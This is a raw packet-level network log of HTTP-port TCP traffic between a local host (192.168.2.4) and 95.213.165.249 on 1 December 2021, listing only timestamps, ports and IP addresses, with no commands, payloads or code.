Dec 1, 2021 09:14:20.164905071 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.164933920 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.164972067 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.165011883 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.165011883 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.165052891 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.165054083 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.165091991 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.165132046 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.167391062 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.169814110 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.201591969 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.201632023 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.201690912 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.214468956 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.214504957 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.214526892 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.214550972 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.214565039 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.214572906 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.214596033 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.214597940 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.214636087 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.222280025 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.222316980 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.222342968 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.222367048 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.222368002 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.222394943 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.222419977 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.222443104 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.222450972 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.222466946 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.222475052 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.222493887 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.222522020 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.222547054 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.222548008 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.222573042 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.222573996 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.222599983 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.222624063 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.222650051 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.222655058 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.222676039 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.222688913 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.222704887 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.222721100 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.222728968 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.222752094 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.222776890 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.222800970 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.222814083 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.222827911 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.222845078 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.222855091 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.222881079 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.222893000 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.222906113 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.222934008 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.222958088 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.222958088 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.222984076 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.222996950 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.223009109 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.223031998 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.223032951 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.223059893 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.223084927 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.223093033 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.223109961 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.223135948 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.223150015 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.223161936 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.223185062 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.223186970 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.223211050 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.223234892 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.223262072 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.223268032 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.223287106 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.223292112 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.223313093 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.223336935 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.223351002 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.223361969 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.223387957 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.223412991 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.223417997 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.223438978 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.223439932 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.223464966 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.223479033 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.223490000 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.223515034 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.223537922 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.223553896 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.223561049 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.223584890 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.223586082 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.223613024 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.223637104 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.223659992 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.223661900 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.223675966 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.223686934 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.223714113 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.223731041 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.223740101 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.223763943 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.223788977 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.223803043 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.223814011 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.223831892 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.223839045 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.223865032 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.223882914 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.223887920 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.223911047 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.223932028 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.223951101 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.223957062 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.223974943 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.223984957 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.223998070 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.224015951 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.224019051 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.224040985 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.224060059 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.224071980 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.224078894 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.224102974 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.224104881 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.224124908 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.224147081 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.224167109 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.224169970 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.224191904 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.224196911 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.224214077 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.224236012 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.224241018 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.224256992 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.224267960 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.224278927 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.224289894 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.224303961 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.224319935 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.224328041 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.224349976 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.224371910 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.224381924 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.224394083 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.224395990 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.224406958 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.224419117 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.224443913 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.224453926 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.224461079 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.224468946 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.224486113 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.224490881 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.224514008 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.224524975 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.224606991 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.259104967 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.259155035 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.259215117 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.272412062 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.272444010 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.272459984 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.272475958 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.272495031 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.272510052 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.272542953 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.272567987 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.281708956 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.281742096 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.281759977 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.281778097 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.281795979 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.281810999 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.281824112 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.281841993 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.281837940 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.281858921 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.281869888 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.281877041 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.281894922 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.281913996 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.281929016 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.281932116 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.281938076 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.281948090 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.281965017 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.281981945 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.281990051 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.281990051 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282008886 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282021999 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.282026052 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282042980 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282059908 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282077074 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282079935 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.282094955 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282114983 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282130003 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.282133102 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282145023 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.282150030 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282167912 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282181025 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.282185078 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282202959 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282217979 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.282219887 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282236099 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282248974 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.282253981 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282272100 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282279968 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.282289028 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282305956 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282319069 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.282321930 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282351017 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282351017 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.282368898 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282386065 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282402992 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282421112 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282423973 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.282437086 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282454014 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282470942 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282483101 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.282489061 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282496929 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.282504082 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.282506943 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282524109 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282541037 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282547951 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.282558918 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282576084 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282588005 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.282593012 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282609940 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282620907 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.282628059 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282629013 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.282645941 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282664061 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282674074 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.282680988 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282699108 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282711983 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.282715082 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282733917 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282751083 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282759905 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.282767057 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.282768965 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282788038 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282804012 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282819986 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.282820940 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282838106 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282854080 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282865047 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.282871008 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282877922 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.282887936 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282906055 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282922983 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282932997 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.282938957 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282955885 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282974005 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282984972 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.282991886 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.282991886 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.283011913 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.283030987 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.283037901 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.283046007 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.283050060 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.283071041 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.283087969 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.283099890 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.283106089 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.283124924 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.283132076 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.283142090 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.283159018 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.283164024 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.283174992 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.283194065 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.283210993 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.283214092 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.283226013 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.283242941 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.283258915 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.283262968 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.283276081 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.283293962 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.283297062 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.283310890 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.283318996 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.283329010 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.283344030 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.283346891 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.283364058 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.283380032 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.283386946 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.283396006 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.283410072 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.283412933 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.283430099 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.283432961 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.283447981 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.283452034 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.283466101 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.283483982 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.283490896 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.283499956 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.283513069 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.283520937 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.283548117 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.283585072 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.316457033 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.316500902 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.316570997 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.329792023 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.329844952 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.329881907 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.329885960 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.329933882 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.329992056 CET	49795	80	192.168.2.4	95.213.165.249
